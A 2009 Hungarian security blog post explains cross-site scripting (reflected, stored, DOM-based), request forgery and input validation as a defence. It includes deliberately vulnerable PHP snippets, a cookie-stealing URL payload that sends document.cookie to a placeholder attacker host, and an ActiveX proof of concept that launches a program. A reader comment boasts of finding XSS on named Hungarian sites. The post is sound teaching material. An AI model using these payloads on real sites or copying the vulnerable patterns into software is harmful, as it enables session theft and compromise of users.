2009. május 4., hétfő

Webalkalmazások biztonsági hibái - 6. Cross site scripting, XSS

Betörési tesztjeink során gyakran találkozunk azzal a jelenséggel, hogy a weboldalak fejlesztői ugyanazokat a hibákat követik el újra és újra. Ezen klasszikus hibákat egy több részből álló sorozatban szeretnénk bemutatni.

Az XSS (azaz a Cross-Site Scripting) és a hozzá kapcsolódó három- és négybetűs rövidítések (XSS, XSRF, OSRF,...) meglehetősen "divatos" sebezhetőségeket jelölnek – a cikk további részében XSS néven nevezem az összes XSS-szerű sebezhetőséget akkor is, ha adott esetben semmilyen „cross-site” szkriptelés nem történik.

Az elmúlt években érdekes trend figyelhető meg az XSS-sel kapcsolatosan: két-három évvel ezelőtti betörési módszertanok, könyvek az XSS-t apró hibalehetőségként említik, amely korlátozott hatással bírhat megfelelő esetben a felhasználóra, de a kritikus hibát okozó problémák közé jellemzően nem sorolták be; az SQL injectiont, arbitrary file inclusiont stb. jóval komolyabb hatású sebezhetőségként aposztrofálták. Ez a trend mára megfordult: az újabb irodalmakban sokkal mélyebb hatású problémaként kezelik az XSS-t. A gyakorlatunk is megerősíti ezt a trendet: több munkánk során is a teljes webalkalmazás kompromittálása történt meg egy „egyszerű” XSS-sebezhetőség felhasználásával. Továbbmegyünk: a mostanság divatos, összetett webrendszerek esetében az összefüggések és a kölcsönös, domainek közti explicit trustok miatt a „szomszédos” rendszereket is támadni lehet.

Az XSS az inputvalidációs hiányosságok népes családjába tartozik. Alapvetően azt a bizalmi viszonyt használja ki, ami a felhasználó böngészője és a meglátogatott webalkalmazás által adott html/javascript kód között fennáll: ha a támadó el tudja érni, hogy a felhasználó böngészője valamilyen tetszőleges (rosszindulatú) javascript, vagy html kódot értelmezzen, akkor XSS-támadásról beszélünk. Az XSS-sebezhetőségeknek több fajtáját szokás megkülönböztetni.

Reflektált XSS
Reflektált XSS támadás során valamilyen ehhez hasonló inputvalidációs hiba kihasználása történik meg:
Error.php:

< ?php echo ”Hiba történt: $_GET[„$hibauzenet”]” ? >

Ha a támadó a hibauzenet változó helyére valamilyen javascript kódot szúr be, akkor a böngészőt utasíthatja tetszőleges http-kérés kiadására. Ezáltal lehetősége van egyrészt a felhasználó sessioncookie-jának „ellopására” (kompromittálására), illetve magának a webalkalmazásnak a támadására (például úgy, hogy egy webaukciós portál esetében olyan http-kérést ad ki, amely leüti a támadó ajánlatát). Ezen támadások közös jellemzője, hogy a célpontnak a sikeres támadáshoz meg kell látogatnia valamely URL-t, amelyet a támadó készít elő. A fenti példában a cookie ellopásához az alábbi URL-t kell meglátogatni: http://webapp/error.php?hibauzenet=&lt script &gt var+i=new+Image;i.src=”akarmi.tamado.gepe/”.%2document.cookie &lt script &gt

Az URL-re kattintást többféleképp is ki lehet váltani: a legegyszerűbb esetben a támadó személyre szabott levélben küldi ki az URL-t valami olyan szöveggel, hogy „Kedves felhasználónk! Karbantartási okokból kérjük, hogy bejelentkezés után kattintson az alábbi linkre, amely adminisztratív feladatokat hajt végre a fiókján! Köszönjük!”. A felhasználó ránéz az URL-re, látja, hogy valami webapp-ra mutató link az valami krikszkraksszal mögötte, de hát a webappos linkek mindig így néznek ki. És kattint, a támadónak pedig a sessionazonosító megnézéséhez annyi a dolga, hogy nézegesse a saját gépén az apache logjait. A támadás tehát „reflektálja” a veszélyes javascript kódot a felhasználó gépére – innét a név.

Tárolt XSS
A reflektált XSS-nél a támadó semmilyen módon nem rögzíti a kódját a webalkalmazásban – emiatt szükséges a bűvészkedés a megtévesztő URL-lel és a felhasználó győzködése. Mindezeket a problémákat kikerülheti a támadó, ha a kérdéses javascript kódot magában a webalkalmazásban tárolja.

Bárhol lehet a kód: fórumoknál a hozzászóló nevében, magában a hozzászólásban, akárhol: elég egy nem kellőképpen validált input mező, aminek eredményét a felhasználó böngészője közvetlenül megjeleníti – az inputba szkriptet injektálva már támadható is bárki, aki letölti az adott oldalt.

A böngészők készítői –elég régi sebezhetőségről lévén szó- sok mindennel megnehezítik az ilyen támadások sikerességét. Ezen ellenintézkedések közül a legfontosabb a same origin policy, amely meghatározza azt, hogy a böngésző által futtatott szkriptek milyen tárolt adatokhoz (cookie-k, tárolt jelszavak, az „autocomplete” mező tartalma stb.) férhetnek hozzá. A böngészők az elérhető adatok körének meghatározásakor azt figyelik, hogy mely domainből kapták az adott javascript kódot: például csak azokhoz a cookie-khoz férhetnek hozzá a javascriptes hívások, amelyek ugyanabból a domainből származnak, mint a cookie. Hiába próbálja tehát a támadó a tamadodomain.hu domainből jövő javascript elérni a webapp.hu által írt és használt adatokat, a böngésző nem engedélyezi. Más a helyzet viszont a fenti XSS-es példáknál, ugyanis ezek a same origin policy megkerülését jelentik, hiszen ugyanúgy a webapp.hu domainből jön az „ártó” javascript, mint a sessionazonosító és a cookie.

DOM-based XSS
A DOM rövidítés a Document Object Model paradigmáját jelenti. A DOM a böngésző, a környezet és a felhasználó bizonyos tulajdonságainak nyelvfüggetlen megjelenítését és kezelését teszi lehetővé - a gyakorlatban ez annyit jelent, hogy a DOM használatával lehetséges például javascriptből lekérni a böngészőablak tulajdonságait (pl. méret, titlebar tartalma) és módosítani őket.

A DOM használható XSS-támadások kivitelezésére is. Tipikus DOM-based XSS-es támadásforgatókönyv az alábbi:
  1. A felhasználó meglátogat egy speciálisan, a támadó által elkészített URL-t, amely javascriptet tartalmaz.
  2. A szerver által visszaadott kód nem tartalmazza a támadó javascriptjét, teljesen legitim.
  3. A felhasználó böngészője feldolgozza a kapott javascript kódot, és meghívja a támadó kódját.
Hogy valósítható ez meg? Azokban az esetekben, amikor az oldalon futó, legitim, ám hanyagul megírt javascript az oldalon különféle tevékenységekhez felhasználja az oldal URL-jét (például ellenőrzés nélkül kiírja az URL valamely paraméterének tartalmát), a támadó injektálhat ártó szándékú szkriptet az oldalba. Lássunk erre egy példát!
error.php:
< ?php
echo"< script >
var aktur=document.url;
aktur=unescape(aktur);
document.write(a.substring(a.indexOf("hibauzenet="),9));
< /script>";
? >

A támadó az error.php?hibauzenet=< script >alert("Hello")< /script > URL-re kattintatással XSS támadást tud végrehajtani ebben az esetben.

Milyen támadásokból áll az XSS „családfája”?
  • Klasszikus cross site scripting – az előzőekben bemutatott, sessionazonosító cookie ellopását célzó támadás tartozik ide, ugyanis ekkor „kiszkriptelünk” az eredeti domainből. Ebbe a családba tartozik az a támadás is, amikor a támadó a document.body.innerhtml függvény használatával "kidobja" az eredeti forrást (legalábbis a felhasználó böngészője nem jeleníti meg), és a helyette látott kóddal felépíti a bejelentkezési képernyőt azzal az apró különbséggel, hogy a feldolgozószkript nem az eredeti lesz, hanem a támadó gépén fog futni. Ezt a fajta támadás meglehetősen nagy jelentőséggel bír, szokás personalized phishing attack névvel is illetni.
  • Cross-site request forgery – ebben az esetben nem a támadó gépén futó webszerverre „szkriptelünk át”, hanem valamely, másik domainben futó másik webalkalmazáson hajt(at)unk végre valamilyen műveletet. Ilyen lehet például az az eset, amikor a gmail chates sebezhetőség alapján az áldozat google documentjeihez hozzáférést ad a támadónak. Kimondottan finommá teszi a helyzetet, hogy lehetséges trusted domain-eket definiálni egy webalkalmazásban, amelyek a same origin policy szempontjából ekvivalensnek számítanak. Nem sok idővel ezelőtt a youtube.com és a *google domainek között volt ilyen viszony, és bár sebezhetőség konkrétan nem lett belőle, bejelentés után megszüntették az ilyen, feltétel nélküli trustot.
  • On-site request forgery – ilyen esetben azonos webalkalmazást szólítunk meg. Az előzőekben elmondott on-line aukciósházas példa sorolható ide, amikor a támadó ráveszi az áldozatot, hogy üsse le az ő ajánlatánál a licitet az oldal megfelelő funkciójának meghív(at)ásával.
Mi mindent lehet összehozni egy "egyszerű" XSS segítségével? Néhány lehetőség és proof-of-concept kód, csak ötletbörzeként:
  • Backdoorok, trójaik és egyéb malware telepítése az áldozat gépére. A böngészők mára meglehetősen komplex funkcionalitást nyújtó, akár alkalmazásfejlesztési célokra is alkalmazható közeggé nőtték ki magukat. Azt, hogy milyen tevékenységeket engedélyeznek a rajtuk keresztül megjelenített szkripteknek, azt azzal szabályozzuk, hogy az adott domain milyen bizalmi szinten helyezkedik el: IE alatt a "Trusted Zones"-ba tartozó domaineknek meglehetősen sok mindent engedélyezett. Ha ilyen zónába tartozó oldalon találunk XSS-sebezhetőséget, az akár a hoszt kompromittálását is jelentheti. Például az alábbi proof-of-concept kód a paint.exét indítja el:
    < script >
    var o = new ActiveXObject(‘WScript.shell’);
    o.Run(‘mspaint.exe’);
    < /script >
  • Portscanning. Jeremiah Grossman publikálta először a blogjában azt, hogy XSS használatával (akár bizony javascript használata nélkül) portscant is végre lehet hajtani.
  • Keylogger. A javascript nagyon hatékony eszköz, például keylogging funkcionalitás is megvalósítható vele a document.onkeypress és a String.fromCharCode(window.event.keyCode) használatával.
  • A vágólap tartalmához történő hozzáférés. A megfelelő függvény használatával (nem írom ide, akit érdekel, keressen rá a google-lel a javascript és a clipboard szavak lineáris kombinációjára)
  • XSS zombie. Az egyik legvonzóbb lehetőség az, ha a felhasználó böngészőjét a bizalmi szint erejéig tetszőleges dolgok művelésére rávehetjük, akár real-time... ezt a lehetőséget az XSS Shell eszköz biztosítja.

Mit lehet tenni a fent elmondottak megelőzésére? Első és legfontosabb az, hogy validáljunk minden inputot, ami a felhasználó felől érkezik, ne hagyjunk egy mezőt sem közvetlenül megjelenni a felhasználó böngészőjében. A validáláshoz pedig inkább javasolt a pozitív szemléletű megközelítés (azaz számot váró mezőben csak számot fogadunk el, név mezőben csak alfanumerikus karaktereket stb.), mint a „kiszűrjük a tipikus XSS-es karaktereket”-megközelítés.

1 megjegyzés:

  1. Szinte alig van olyan oldal , ahol ne lenne xss sebezhetőség.

    Játszásból találtam az iwiw-en, Honvédelmi Minisztérium, K&H Bank, Figyelőnet, stb.

    VálaszTörlés

Kommentek